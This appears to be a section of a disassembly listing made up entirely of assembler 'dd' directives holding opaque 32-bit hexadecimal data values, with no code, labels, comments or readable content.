		dd 0DF598FECh, 6928EBCAh, 5839251Fh, 0EAEE159Ch, 59D12037h
		dd 67B81D10h, 85FE83F0h, 0C666F0C9h, 0B6A9AE59h, 806E7721h
		dd 7FA48430h, 8214B48h,	0B1F60CF2h, 54ABFB24h, 70DED4D0h
		dd 0F1264A7Ah, 5E67ED21h, 6C43603h, 73068447h, 0DD8071F4h
		dd 8ED3D7C2h, 0CD589004h, 4101D16Eh, 3FA80A01h,	0D0C61308h
		dd 273E4124h, 5BD2B764h, 41111556h, 0D6B8A31Ch,	735CD815h
		dd 0DB9EF726h, 0CF7D31C5h, 17B689C7h, 0E61AD72Ch, 0F37F8B6Ah
		dd 0B79D3755h, 0EB7155DAh, 0D81C805h, 0E8FBD420h, 0F1B5DCDCh
		dd 0B9440499h, 0C3C8D4Ch, 0D248EC36h, 0EC621DFEh, 31649DF4h
		dd 0AD579E0Ah, 724BE697h, 458AAD59h, 762728F6h,	78A60563h
		dd 0E444AFCFh, 1130668Ah, 3F32DB2Dh, 1C22C831h,	4AE34A5Ch
		dd 438D07D6h, 0A83751ACh, 0A26AEC77h, 0EF8E43BFh, 7D6CDE97h
		dd 73AEF4BBh, 7233041h,	45F49668h, 4DD051A7h, 0A9DAF89Bh
		dd 0ACD3E495h, 9062A4Eh, 499EC7D7h, 0A3D91270h,	0E5A1F569h
		dd 0A9F42435h, 0EB1DD663h, 92DE72BFh, 3DBD2B7Eh, 710F9F02h
		dd 0F3C0DAECh, 0B7A20FDDh, 0C2F5C226h, 2A0B69A7h, 977EDFBh
		dd 0AACCB678h, 0EAFAD0F1h, 5ABA544h, 2F96619Ah,	0B2069699h
		dd 1B669C51h, 0F8115157h, 0B55AA957h, 904DC828h, 5ED5C557h
		dd 8FF2EE5Dh, 2E2C4877h, 15911F36h, 0A671C56Eh,	93C705E4h
		dd 406E6640h, 91EFEB2Eh, 3F935EF4h, 5AD0D24Dh, 0A3C492D4h
		dd 3CDDBEDBh, 0A626AB6Bh, 474DB828h, 871AFB55h,	0C26F3782h
		dd 0BD24097Dh, 49978F89h, 0E3DD9944h, 0C353ACCEh, 4DF0312Ah
		dd 714D6053h, 0ABC17801h, 0CCB61C52h, 0C7B1811h, 0A9A0F913h
		dd 0AF817863h, 5F6207D5h, 0D37CD9AFh, 76DB27F0h, 942274E5h
		dd 6A1C6BD1h, 358727C3h, 67DB0931h, 0ECF11C15h,	0DF18BC68h
		dd 96964969h, 3A221730h, 0AC852025h, 0B9689B1h,	991E86ECh
		dd 0D6141D1Fh, 0CC11C9FAh, 1852F1BAh, 0CBDCB814h, 81AB5F5Ch
		dd 0BC7C87FAh, 0BBDB2737h, 0B0EDEC32h, 8012094h, 0EAAEE0B8h
		dd 3F7D6B9Dh, 0FC620464h, 5E3AA57Dh, 0B9F01F7Ah, 0AD9FF753h
		dd 339DA588h, 0B8BC02E2h, 4827C88Bh, 0EC17915Bh, 7CAF6F83h
		dd 0F65778ADh, 0A52AA421h, 409F04C0h, 83520D90h, 67D8E9BFh
		dd 6FEA27C9h, 0D56F4B5Bh, 970BDB06h, 9680CD5Fh,	0BE68F5FDh
		dd 0CE8B6FA7h, 566F8ACFh, 8DA83932h, 0B493D624h, 55B6D951h
		dd 0A17D20D1h, 24A01B44h, 0DD4E452Ah, 0F700D142h, 8D8B0A13h
		dd 0C04C1BD9h, 7E1F9A13h, 966F500h, 3EF9355h, 0ED28CD0Ah
		dd 0A5622E85h, 49C102BDh, 4F40147Dh, 0F2E30527h, 9B8EADDBh
		dd 0E40C57B0h, 44F3F7A9h, 0B0AF0A11h, 68709DACh, 51062DDCh
		dd 9C0A172Fh, 0DF9BABA7h, 24A3A832h, 0F2CFA2BFh, 162C98DCh
		dd 0D9071074h, 8169E796h, 0A92D95B4h, 38FF9DA8h, 0A6981B54h
		dd 3FA2D92Bh, 0D19F3627h, 725CF084h, 0C3A957B4h, 6A5A6CE9h
		dd 36DCE0Dh, 50ABFFA6h,	0F5D01440h, 0D449BDA6h,	325229E0h
		dd 1EBD5EC9h, 21545C70h, 0C65C72ADh, 0C50597F6h, 5E8975C6h
		dd 0F0EBDF66h, 4E7B1C8Ah, 0A61F5199h, 6A548332h, 0FB80FBDAh
		dd 0F4E6222Fh, 18743E5Dh, 38FDD41Eh, 15F74708h,	0A195A94Bh
		dd 0A51B906Eh, 1D3C13A8h, 8E0828B6h, 416A9190h,	4E13D5AAh
		dd 44AB77EDh, 55B5A2DCh, 7562B6E3h, 0ADCB02AAh,	6FFD2678h
		dd 0F61C487h, 0EF928BCFh, 9094D08Bh, 940B85F3h,	9B3C0729h
		dd 0DFB81FB8h, 5B44C654h, 43B1A2B8h, 0C55A7FC6h, 0A21F2C7Bh
		dd 9FDFAAADh, 57E97689h, 0DE12E622h, 60EE9712h,	26274298h
		dd 845FF684h, 0A732DAFh, 0FCC035B3h, 0BA3ADC60h, 3590A868h
		dd 0EEA256A3h, 8A8997F2h, 218E9051h, 9D391180h,	12E2E996h
		dd 1D7CD285h, 0D5DB8D0Bh, 296853F4h, 101CAE14h,	10D7058Dh
		dd 0BE97CACAh, 51EEB1F5h, 64112727h, 0BA290B16h, 57148FB5h
		dd 151F95DFh, 15A5A588h, 8CFF5431h, 3527D501h, 0FE8286A3h
		dd 37D46817h, 0F7B83FB2h, 0F38A6D81h, 5AA2FCD2h, 24CE0816h
		dd 0B5634839h, 1CA0A09Fh, 0A3D1CD32h, 0BE107AD2h, 0F1AD09CEh
		dd 2063C7A5h, 46F91D29h, 31E4BF9Eh, 0BC1D5A11h,	8B65A81Eh
		dd 0EA457AE2h, 0A8946A50h, 6D2A5881h, 0D5DC2E96h, 0D27FDAD0h
		dd 7A1B308h, 0CE9F8CB1h, 66FB7D9Ah, 2F8021E5h, 0BA12CAE8h
		dd 4236AD93h, 0AA859453h, 0CB860E29h, 0E73B5C3Fh, 292711F2h
		dd 361B8022h, 6939C64Eh, 3D1905CAh, 0BA213C68h,	14A1A697h
		dd 9FFD6948h, 51C714AFh, 8374DBAFh, 243DB7F9h, 764C3887h
		dd 2BE77FFh, 16B4924Fh,	45C4A0B6h, 3473C5C0h, 304D3BD0h
		dd 4BC787D2h, 1A8FCE7Bh, 0D25E7F5Eh, 3BBDBE5Dh,	8209B0EBh
		dd 0C0C17CB8h, 7BED4E2Bh, 69005A85h, 77D709BCh,	1130E236h
		dd 766519AAh, 0B50B6019h, 37A22D3Ah, 3438C027h,	885AEB3Ch
		dd 70BF6C2Eh, 5401DD1Fh, 0F3853356h, 0C0E75F8Dh, 11D18815h
		dd 2578B923h, 6E1DDB91h, 945031E7h, 0D4201182h,	5F2F18CFh
		dd 0D1DDF16Bh, 0F5D89D7h, 0C1EC427Bh, 55939FD4h, 64EF6E94h
		dd 0F6980C01h, 3D76DC64h, 0BE9EA1CDh, 0AE565435h, 0DBE743F9h
		dd 14309207h, 76E09B89h, 0B9343A07h, 836527FBh,	723A58F5h
		dd 0C759D37Fh, 0D73398B6h, 1E75B7D8h, 9516DFFFh, 4353B012h
		dd 396B01ACh, 534AFBD1h, 0E4BB55ECh, 0B89BE92Ah, 619FA8E8h
		dd 10D37698h, 0CECE446Fh, 9C8196CEh, 0EE070744h, 528CF9C9h
		dd 0D30E0FAEh, 14F8059h, 9E47276Eh, 588D7265h, 50F4A4D7h
		dd 0D268BBA3h, 8FF58BA2h, 2F3DE139h, 0E0488194h, 5381BFDEh
		dd 0FA4A3E31h, 14C0421Fh, 0AD50F59Ch, 0E067E8B9h, 0EB2BF90Ch
		dd 51083A9Dh, 56EC6F7Dh, 94D1E65Eh, 53CA82F8h, 0F6E7F663h
		dd 0F38BF672h, 0E59CC1D9h, 0EB72D965h, 235BB3DAh, 0B65BE169h
		dd 0CEF1FC9Fh, 81019BD0h, 8B4772C7h, 0BCF519CEh, 0A1D10A76h
		dd 0A937A0B5h, 59B98FF9h, 0CDF95146h, 4526F029h, 455DC4B9h
		dd 0C024D906h, 0FC898C19h, 17725F3Eh, 103A671Ch, 0CEED05FFh
		dd 0C50EDEC4h, 7FD0D067h, 706E6EBBh, 0C766AE0h,	0D046F772h
		dd 0FB7FB736h, 9A19E333h
		dd 0DC81612Ch, 0D678DBFCh, 0C068C4AFh, 0AA64E69Eh, 4242BAB8h
		dd 28501D0Dh, 41024A90h, 0C2A39F39h, 24A36943h,	2645D5A8h
		dd 0AB7F4A06h, 0C936C0F1h, 642D87FDh, 73B5F78Eh, 4D879A08h
		dd 71746D47h, 0B95D9A6Ah, 0D171BCF0h, 1E78798Bh, 7901355Bh
		dd 0EEA64A52h, 680E5FECh, 0EC3DA56Dh, 6483F4AEh, 60EC326Dh
		dd 0EC11FC3Eh, 0B22382BCh, 0F22CE14Eh, 0B4BA517Bh, 167EEF80h
		dd 6962915Ch, 6C7DB458h, 3EEDC0BBh, 0E8D891CBh,	4606563Fh
		dd 8DCCE119h, 837EC3DEh, 0A27C533Fh, 7D408551h,	0B16DC826h
		dd 72752855h, 0F1C26392h, 22608A50h, 2AAAE7B8h,	88EB66Ch
		dd 7C2E1F62h, 1D433F2Eh, 0B517B96Dh, 0B20CCCEAh, 0B6FB7444h
		dd 0C38B3F8Dh, 351D9C71h, 859C3AF3h, 275DB810h,	0E1799E1Bh
		dd 0CC82ED8Dh, 97A6041h, 1EFB7419h, 7AA9DB7Eh, 35346231h
		dd 0F17CE0AEh, 0E03E5FBh, 0FE7413Ah, 0A55498F8h, 0B8B64290h
		dd 4BC9EF75h, 3E8B830Bh, 7F8E9751h, 0B63A5BE2h,	5602AB4Ah
		dd 0C4D30075h, 4D7B6A4Bh, 0E3F8E970h, 0A2D781AAh, 98957466h
		dd 0E598F1h, 0AF77E009h, 5A62B3BAh, 0DA2F1061h,	0FD79241Fh
		dd 1165696Bh, 19137235h, 0AD7B1AF9h, 708532A3h,	5E0BC88Dh
		dd 7FB26524h, 38721E6h,	591A87E7h, 8F657214h, 105CC858h
		dd 87C95B94h, 1EF8DA47h, 0BF90E723h, 0C1E6E4D0h, 37630603h
		dd 4641A335h, 7C06B9F8h, 29500269h, 12D14BF4h, 0B56409BEh
		dd 84C465C3h, 0B7081BF0h, 0EB69DD82h, 156E6CB1h, 6378F787h
		dd 0E7ACC255h, 75169EE8h, 0C28B6169h, 0C5E66892h, 32FA13DAh
		dd 1C4B922Bh, 2229BF8Dh, 0B5CF8DFDh, 0A9DCFE32h, 0FEDE3791h
		dd 7DBE3EB9h, 916404ADh, 6D02A980h, 0AD3A2736h,	9DD5FD38h
		dd 27FD5532h, 7D401226h, 0AA85B2F1h, 2AEC83BDh,	4B91C7F2h
		dd 0ACEE8B0h, 0AC64EE64h, 8D29CFC2h, 280BD978h,	0F800CAE0h
		dd 6B9765A1h, 0A7E32349h, 0BFCF9452h, 27FF9D68h, 0F2D8FDE7h
		dd 6DB4C6D3h, 0A4111B79h, 0FF42AEB0h, 0DC1A6A20h, 0DF5409B9h
		dd 0A5BA67B7h, 27E684Eh, 1DB027ADh, 0A9BAC74Ah,	172294F0h
		dd 63DA9CD5h, 9689E237h, 0B04231F5h, 7BB80EF2h,	4B190172h
		dd 0A4346903h, 0A03379C9h, 0B4EF144h, 0FF592FC6h, 9F070DCAh
		dd 0EAA8AFF8h, 0AF383846h, 0B7BAAEDDh, 0D41F4Dh, 0A7B203D8h
		dd 434FAC23h, 0EED77EE5h, 2946237h, 9F9B6B7Bh, 0BD0588F1h
		dd 2559D49h, 0E7D05C77h, 26509A4Ch, 2CF0AFB0h, 9A648E4Dh
		dd 0B90E5580h, 3D67696Dh, 2B6FB01Ch, 64FA924Fh,	0E54486C4h
		dd 0BE3E6D73h, 2F61A8ECh, 9A3FDCC1h, 339DED2h, 0E99FE254h
		dd 74741204h, 666B1838h, 55E54014h, 75552314h, 910197C9h
		dd 33AA4029h, 0C3359D61h, 6F644252h, 9BF62514h,	0C95934F2h
		dd 53AD3221h, 0BC89C8B5h, 5141A542h, 0AC351FA7h, 800414ADh
		dd 6CB0B61Dh, 0ECC9D72Fh, 6C70563Ah, 3A05D32Ch,	32BDF973h
		dd 5918B7A2h, 3321C406h, 79ED47ACh, 0F5AEC829h,	76D851D8h
		dd 0D1E84005h, 0FD467A12h, 0EABB53F9h, 0A539DCDAh, 9A6E3AA9h
		dd 0DCDAECA1h, 3F6B2B0Ah, 0DA1C7FFEh, 74EB4CF0h, 0E1E31131h
		dd 664935E0h, 47953DAFh, 0CDC0E9F6h, 0A394FEA2h, 0C9883873h
		dd 0DAAFC022h, 5E8B4C85h, 5B2AC854h, 0C3E9EED6h, 0B8BBEA31h
		dd 109E8FC9h, 651DD66Ch, 0A5D414EBh, 5F85C895h,	0C4153E59h
		dd 0E7D12672h, 136C9ABBh, 3BC06166h, 95F64BD1h,	68A1BCFBh
		dd 786D7EC8h, 886732BFh, 4C400761h, 29AAB819h, 9547FC20h
		dd 83E5E8FDh, 5188BEBEh, 662E3B63h, 0B1609116h,	0BD905938h
		dd 0C13ADBE2h, 7DB2ECADh, 87065D65h, 4CEB059Fh,	685D8918h
		dd 654FF3FEh, 26493098h, 40C49035h, 0C4A6B027h,	1687F23Bh
		dd 0F1C52753h, 67476946h, 0E868634h, 1198E12Ah,	0FDEF0F70h
		dd 0B27BB014h, 5631BA59h, 883B47Bh, 2195F6CCh, 2A4B171Fh
		dd 12AC646h, 0F0A7345h,	226AC29Eh, 0F19A0D47h, 0D92F9E71h
		dd 0EB5DDADDh, 1EB8473Dh, 6DC17329h, 208DDD6Ah,	2FAA54B7h
		dd 71EF6497h, 0F821F57h, 0F2545FA9h, 0BBCDF6BAh, 0C227685Ch
		dd 596B99Eh, 0B74E5BDAh, 6BBB9602h, 1C9150A7h, 0EAE85251h
		dd 0E29A8BF6h, 5B32F48Eh, 0BECE1015h, 0D6D758C8h, 0AFDAC108h
		dd 3DDB984Bh, 32CAFF38h, 0CBA6B8E5h, 64D204AEh,	0BD1F7CB3h
		dd 12FBE149h, 38B1C311h, 0D1F83280h, 573049B3h,	1BBF5E7h
		dd 583B19F5h, 0DBCBBB5Bh, 69569DDDh, 3C49A10Eh,	282ED713h
		dd 7DBF6CD2h, 0ADF5F2C0h, 887199F9h, 14B84D1Ah,	482CC5DCh
		dd 4E31940Ah, 58BBACE0h, 0A1749690h, 2D7E6970h,	0A0CC29C4h
		dd 6822CB4Ch, 0CA2810D3h, 448768C5h, 34E444D7h,	0CA6FB420h
		dd 5961E923h, 49453D3Eh, 76E64112h, 2C432C59h, 4828A1A8h
		dd 5CE28D30h, 929C27F3h, 0C181E796h, 12F5C5B4h,	71C025F5h
		dd 63C725C1h, 122A0204h, 8572A917h, 0F0F6016Fh,	16060474h
		dd 5B3098C2h, 64E02FCBh, 1523FBCCh, 0FD81A04Eh,	0CF54101h
		dd 1EE2F1D0h, 1EC6EF30h, 0FFB02FE2h, 0A4D39ABFh, 0C85E3967h
		dd 63E19CEDh, 14A6802Fh, 923F132Eh, 97995B7Ch, 0CA1A331h
		dd 22DB9C6Eh, 4106E3F3h, 0D585FA3Dh, 13B811CCh,	0BB0697E4h
		dd 2E1F2EBEh, 7E526E33h, 15B214F4h, 86F439FCh, 89F68092h
		dd 0E2BE3F84h, 1C817201h, 0F1EE07D3h, 6024B734h, 252948D2h
		dd 9F7D84CDh, 0C6DE17h,	0BE21C521h, 4E3DF19Fh, 149F864Dh
		dd 14BFA8DDh, 0FC014F03h, 82322BA0h, 4DFC76ADh,	930EB079h
		dd 0A790A0D1h, 76BDED1Fh, 853C5467h, 0C507C0BCh, 4F463E30h
		dd 591313h, 14E9D45Fh, 0DBA94309h, 71CB8037h, 41E037C0h
		dd 8DADEEFh, 0A5C6502Ah, 0F23CA8ADh, 1C89DF95h,	0FCD6247Ah
		dd 0C84DB9C6h, 3B25FC6Fh, 779231A9h, 0B6600FEBh, 8DB30BEEh
		dd 0F545ED48h, 673BEBDCh, 2E85BCCBh, 0C559C2DAh, 0A4E1ADAh
		dd 0DA5C8445h, 0F488CF07h, 2C456A7Ch, 3357A7B7h, 2444A7DEh
		dd 48BA4FAh, 8DE9EF5h, 99D47BDEh, 0AEDBA996h, 880D3188h
		dd 18C13C70h, 5E601C06h, 0C1FF1528h, 9463A9BFh,	0B279BF84h
		dd 3331C98Dh, 54C2D37Dh, 5F40D7B3h, 9AD3BD64h, 7806CAFh
		dd 72423649h, 58B00762h, 0A6552341h, 0B2554621h, 0D12465D6h
		dd 3345FF87h, 7246256Eh, 0AE212E58h, 0CC25F92Bh, 189C95DBh
		dd 38CA7E91h, 84557259h, 0C86CD3C1h, 0D074D7E3h, 1DF516E0h
		dd 0E933FF74h, 0BDD121CDh, 576DC24Ah, 9A2E806Fh, 93072191h
		dd 7ADCF96Ah, 14E7F8FCh, 21BE67EEh, 48EB8959h, 0D8B9E8ECh
		dd 7A4CABBAh, 6A14A0CAh, 754F88F3h, 147ACC20h, 122CEC5Dh
		dd 386473F1h, 94ED9470h, 7513B09h, 695095Bh, 9D417882h
		dd 4B8E1B8Bh, 0A760A83Eh, 0E39B042Eh, 0EABB717Fh, 9A0414E2h
		dd 4AC8C211h, 3785122Bh, 3EA8DA0Dh, 0E26276ACh,	0C0D6AB55h
		dd 3C9D41C3h, 0F2557A5Bh, 0DD38BB4h, 8F51A1F1h,	21279F65h
		dd 2452AB18h, 0CF73CE7h, 0AF2F72DCh, 57391C9Fh,	39A9BCE4h
		dd 59517A1Dh, 566A81F4h, 0F339EA55h, 0FB23235Ah, 90E93FFCh
		dd 0B7BA6049h, 0DDADD85Fh, 26BF9DB0h, 45880CE1h, 2212327Ch
		dd 1CCB119Bh, 8CF3F7D8h, 9108B2DAh, 0AAB9441Ch,	21DBA2E2h
		dd 489B63ACh, 0C429FD61h, 0DAC7409Ah, 376F5567h, 61400B08h
		dd 0AF19F38Dh, 78ECE522h, 0F4BF09D3h, 0D1250AEDh, 88B0A814h
		dd 4D4F960Eh, 0AF13104Dh, 2710525Eh, 0B46D0E1h,	0F6DBD608h
		dd 465F0650h, 3ABDF424h, 0EC6C5C38h, 7588D1D2h,	0FE839A2Dh
		dd 1782462Dh, 0EC1B5D6Ch
		dd 0E30C31CFh, 6813AAF0h, 208EFF98h, 2CD8E6C0h,	978E6EC5h
		dd 0AC02F2ACh, 1E060AA4h, 28D45971h, 1F249468h,	0E27234D6h
		dd 360F89DDh, 0B93C376Ah, 901114Fh, 1C553536h, 0D36750B9h
		dd 744FDC32h, 0DC648085h, 0B0C2283Dh, 0A7AA8ECDh, 81D07183h
		dd 4D3732EFh, 3E8C218Ah, 44A1D6AEh, 22C7E715h, 2E0540DAh
		dd 0F72299C9h, 87039759h, 0C892D8C1h, 15E4F9CDh, 50F7B09Eh
		dd 92900BADh, 0BC5B17EEh, 44E6D681h, 7666A81Fh,	8D1B1266h
		dd 1B02C377h, 98A1D602h, 9BA7D305h, 0B21BD1BCh,	0DBB402AAh
		dd 8E821C90h, 6E4A89B1h, 5CD9EE67h, 0B8B55F85h,	4334F1C5h
		dd 84C23D6Ah, 283C8C5h,	9DA342F9h, 999D9C02h, 74C429BCh
		dd 6AC9FA02h, 5C90C6E6h, 10E55417h, 5410DFA9h, 24ECD0A5h
		dd 6C320147h, 6ABA6530h, 8ADBE844h, 0B8036BE9h,	0FC16433Bh
		dd 0F7C7FC30h, 233000D8h, 0CA44D6BAh, 34582064h, 635B7385h
		dd 0CF6C4B32h, 6AA414F6h, 0FAF6B6B6h, 0C64B36F1h, 0DDC960D2h
		dd 67D4E989h, 8AD05D00h, 0A432DA1Ch, 21144C71h,	2A931541h
		dd 11C6AAABh, 15E97E64h, 8D869736h, 0DA0DE13h, 0BC4A0B74h
		dd 7D174AFDh, 0A286639Ah, 0BD3547EFh, 1EAB4FBh,	87BB382Dh
		dd 296629CDh, 0DD1A2BE1h, 738F6C29h, 4006BCABh,	476BA4BFh
		dd 0F9F3393Eh, 64055AA7h, 6AF3725h, 1052A467h, 9EF87F70h
		dd 5C5FDAD3h, 0D7D9946Bh, 94AC5B9Eh, 0C6CFC3FDh, 58312901h
		dd 37C39AC3h, 0B57B232h, 0BD425A29h, 2A6E48E7h,	0EC6CAF2Bh
		dd 0E92D817Eh, 0F983BED7h, 0BA97362Ch, 0E4764C10h, 0B0EB4ED4h
		dd 178A878Ch, 6546821Ch, 8014160Bh, 6EA526ABh, 62BA1AA2h
		dd 8A4AAAE3h, 0ED639815h, 0DB203214h, 0C9944AA3h, 413F4964h
		dd 7477E5CBh, 2E9D6079h, 4B1A6FBFh, 0B8C55B44h,	5BE68AD9h
		dd 6517A74Ch, 37EC8508h, 0FDFE25DAh, 0BB624DDFh, 61E3775Ch
		dd 0C2C4292Ah, 0C5E64160h, 0E79E1D5Bh, 0ABABCABDh, 0B31D6EB6h
		dd 0BB8FB01Dh, 9F897C2Ah, 61F6353h, 56EF4F8Bh, 0B4C743F9h
		dd 0E8F90FEAh, 587B003Fh, 98C441BAh, 4574E495h,	0F33370Bh
		dd 0B2477227h, 196E25FDh, 47524E7Dh, 0EE21F554h, 37EC8E7Fh
		dd 5D2C7079h, 0C3A63AFh, 2B4A6E99h, 0F8C0FE9Ah,	73686B9Bh
		dd 0E50B364Ah, 77C5A35Ch, 307407B6h, 5E5AF963h,	9BB610A0h
		dd 92404174h, 0DE3B9A53h, 0E603456Ch, 85165D01h, 0D7452E29h
		dd 4C51B9ADh, 17E4A92h,	0D6BAEF66h, 0A82A8230h,	0FAFA7C9Ch
		dd 80C1DADBh, 9885290Fh, 0ADB5E937h, 7D8C8139h,	0E39D2755h
		dd 959ED561h, 773666CBh, 1A2292FEh, 536C6252h, 0F7A980F1h
		dd 3945AFBFh, 2FDFAB53h, 478EFF12h, 4114583Ah, 1465165Fh
		dd 80C3D297h, 0FB5AF1Bh, 0D665AF8Eh, 8C5C8FCDh,	0B25AA869h
		dd 0EB28E799h, 0C5E95EFh, 13642B76h, 0D199128Bh, 2DB8A275h
		dd 5732AB58h, 0F43052A0h, 8EAA2AFDh, 0FC1DB7Ah,	7E233F40h
		dd 0D3179450h, 1E310119h, 4A195816h, 5046E9F1h,	8DE8ADC9h
		dd 0FEC983EBh, 2A11D22Bh, 0A74A61D3h, 0FDEAFD47h, 0BD1B4D48h
		dd 18A41059h, 84AE99B6h, 0EBBF48D9h, 6834E9D4h,	149E5B9h
		dd 76306ABEh, 0C8ABF51Ah, 4CFC468Bh, 2A2DBDC2h,	13221085h
		dd 0FC5FD85Dh, 0DFA31C40h, 7297EA1Fh, 4E7712E9h, 0AC9002A8h
		dd 26758DEBh, 2CA02AEAh, 6FAA2FA0h, 7D75F36Eh, 4A545230h
		dd 8849B1B4h, 0F1053DD1h, 733091F4h, 447BE8D1h,	0DF32A818h
		dd 0B3439ACAh, 7E6DEF2Dh, 51E257E4h, 0C4CBB6C2h, 4FAD7B06h
		dd 2FD7621Dh, 0BE65B092h, 0CE6F7C3Fh, 0AF1C1CC3h, 0A2CF739Bh
		dd 84DEEA7Ch, 11B4B334h, 60DD7094h, 83D5F2DAh, 0F9261CD3h
		dd 0C66A7AD6h, 498FFFBAh, 0EA078144h, 6B18A3E6h, 5F9D5DB0h
		dd 7B55FA1h, 57521505h,	0F1077BE8h, 0AE47225h, 98CF7DEEh
		dd 8F2D917Bh, 722031CCh, 2669D624h, 30B246BAh, 1DD816EAh
		dd 0C5074414h, 0ACF53F5Dh, 836D1B23h, 0CFD78AEh, 67BB1AEFh
		dd 9E3016E2h, 0CE3DA7EAh, 0DD9F91A8h, 3E026C39h, 2D8AFE27h
		dd 0CA884361h, 669E4D8Ch, 3FD4472Ah, 3B1CAFAh, 0E0F34C4Dh
		dd 60A155D1h, 5DFA9DB5h, 0C273BFACh, 693945C0h,	0F00FEC48h
		dd 3DC69955h, 1E123B5Eh, 0EDF3E2D4h, 0DB9E6BCEh, 65975102h
		dd 2566118Dh, 557BB2F5h, 0DA4ABA1Fh, 28A34E4Dh,	827C88B6h
		dd 0B55E917Ch, 0C554F13Eh, 6B3D2C99h, 2ED03F44h, 9A5842CEh
		dd 5D7B2605h, 3DDF8248h, 0D4EA4AD1h, 0D0482FD5h, 59A0C385h
		dd 0A4F47563h, 8CC2C2EBh, 31EBD97Bh, 0E1A00DA7h, 0A43F609Ah
		dd 2BD710AAh, 0C23C8481h, 35B901D3h, 21453FA6h,	0C54C663Bh
		dd 5FCD1D63h, 0D8557BB4h, 0EE6738CEh, 1FC25B65h, 2F332888h
		dd 2B908D68h, 0D2B21A6Ch, 78DEC4FAh, 800DDFE3h,	0F14E0F2Ch
		dd 80D0E8E5h, 6B2F3CB0h, 90839CFAh, 1BC6228Ch, 80F2A709h
		dd 0CA903DA9h, 0D3CDF738h, 0D8AC183Dh, 3515DF2Dh, 35665DBDh
		dd 0FAFF77C6h, 66C7D6F9h, 487B13C4h, 1287DBE9h,	2E503280h
		dd 0F1060778h, 0F98B1DD4h, 26C5BE6Eh, 292173ECh, 0D896E103h
		dd 0BA9AD47Eh, 0E6AC5EA1h, 0A1B5D982h, 8507142Ah, 2216834h
		dd 89C5E49Bh, 462F9D38h, 9A21E4BDh, 58138F91h, 7BCD271Bh
		dd 0F6A1DC01h, 90CF06C8h, 8EB86C80h, 2B2CA37Eh,	9F1ED925h
		dd 0E581602Eh, 7C7B1831h, 805C9DCDh, 1E2EB08Ah,	0A5989A35h
		dd 3C71B033h, 31B92124h, 2419A9A1h, 526F29h, 0D4A2569Ch
		dd 52B85D6Dh, 0D5838768h, 21EB0B8Eh, 0BDDD440Eh, 37B7AFC5h
		dd 696748Eh, 82FF0106h,	6A29FFB7h, 4F3F508Dh, 0B876618Dh
		dd 0A1377057h, 74C1BA7Fh, 0F971772Ah, 11555484h, 5A046A9Dh
		dd 28CB65ECh, 74BA75C5h, 65C08D57h, 5EC934FEh, 6612730Bh
		dd 1FDFFBE6h, 9AD6A96Fh, 1D8F1CC1h, 0A2CA7747h,	299F51Bh
		dd 0DE8F9E62h, 0AA29EA87h, 0C74B09h, 36FD29E5h,	0AF88E191h
		dd 9B1DE92Dh, 0DBE462B4h, 7A0EC13Bh, 842EF3BDh,	663EB085h
		dd 0D5F8EC67h, 0F41FFC7Ch, 404EF267h, 0C984990Fh, 5B5AAAF5h
		dd 3AC64F7h, 2CEB6F42h,	0F689ADE5h, 0ABE40170h,	0E9796C94h
		dd 45748B0Fh, 86D28D7Ah, 84FC0039h, 0AA6BD38Eh,	973DC696h
		dd 511F93B8h, 45A3FB49h, 0B84B56FAh, 0B227B934h, 3BD76804h
		dd 0DC7E7D85h, 0B5F157ECh, 0AA6A4914h, 0F3995C59h, 75FE7827h
		dd 7652C07Dh, 0D0C07DAFh, 0B1669327h, 0CE59CEB2h, 0B9F88AE1h
		dd 690A0248h, 0D4D11A75h, 0F3B8AAB0h, 49BEE1Dh,	4D31C4Ah
		dd 781907B4h, 172CD03Dh, 603EBE06h, 7F77EEA8h, 5B28637Ch
		dd 0D40E5045h, 585C6CBEh, 0DF922391h, 0DA642A7Ch, 0F0490B90h
		dd 0ACBE8A74h, 882C927h, 0C65DFA0Fh, 5068185Dh,	2578077Ch
		dd 16D1D02Bh, 1E6F67Ah,	0D944CF2h, 862E5290h, 0CBE0C296h
		dd 390181F8h, 3FDEF3FBh, 81EBB599h, 2D170351h, 279CD84Fh
		dd 0AE2D0E8Ch, 98B2C55Fh, 792FD339h, 364799E5h,	37DD8885h
		dd 0ABCBD20Fh, 0E31F918Fh, 0B3C97745h, 6451A543h, 0DDA299F0h
		dd 8250D03h, 0C8805E81h, 4BF640EEh, 0A208E322h,	9323A180h
		dd 0A039FD2Ah, 880027Ch, 0B4AAAB22h, 0DA49298Dh, 0FBC52EB4h
		dd 19C78FB8h, 0F84695FDh, 637A1817h, 3C9E5A11h,	1ED97153h
		dd 1368E067h, 2C357EA3h, 2B76E738h, 9DD624ECh, 0C391A334h
		dd 646A7075h, 8E32E895h, 453B26F9h, 0D3C5FB04h,	0E11C946h
		dd 607F93B1h, 7B2DAF11h, 0F3BD7B68h, 73690BEDh,	0C24767B2h
		dd 4F3538F9h, 0B81AF128h, 1449A467h, 21A2C77Eh,	0E3B36866h
		dd 2A3CB18Fh, 6316B73Dh
		dd 6083F79Dh, 4CBDACC4h, 5979260Ah, 0FB37AA7Ah,	0AD919663h
		dd 722DAE36h, 49A7111Ah, 0E16738A2h, 280A7E1Fh,	0C535A9FBh
		dd 0EB7B25D7h, 0F8DE7EDFh, 63330C7Eh, 0FC210BC0h, 3D11DA81h
		dd 0C47A8D45h, 0EE237B53h, 217E0E2Ch, 4701BF6Ch, 4022A2A1h
		dd 1BD9E672h, 0DC406DA3h, 5131D2Bh, 8C39B4E9h, 8235F649h
		dd 0A091545Ch, 951D2407h, 4CA8D115h, 0B9691F6Eh, 0B5869314h
		dd 22471C78h, 6EC8C3C1h, 945828A5h, 0A72994C6h,	8FFF8C93h
		dd 7046A4D0h, 6EC99A86h, 84C79C98h, 0BB40C7F2h,	603BBAB5h
		dd 10109691h, 9C12430Fh, 2DA732B3h, 0C3E11021h,	210483F6h
		dd 7C38EB1Dh, 9D7EEB55h, 0C7F76567h, 42DE67C9h,	0B9997C38h
		dd 9FC2E791h, 3F01ADA5h, 25EC06E9h, 0B100DC01h,	0B41FCEC3h
		dd 1DF769DAh, 49BCA750h, 2E37F8F3h, 0EADCC02Fh,	92F202F0h
		dd 0F78FB9A3h, 39830B14h, 0C3D1DE26h, 0F79B3FF3h, 37E78425h
		dd 64579D79h, 40DF6D9Fh, 0AAA33B14h, 998CF14h, 4C4362DDh
		dd 8A06FD06h, 2924F5A8h, 0C73C8B13h, 0E40F1742h, 77EB1F23h
		dd 0CF0BB439h, 6BA3D48Eh, 9926B9F4h, 7CBD8649h,	0FB9F5564h
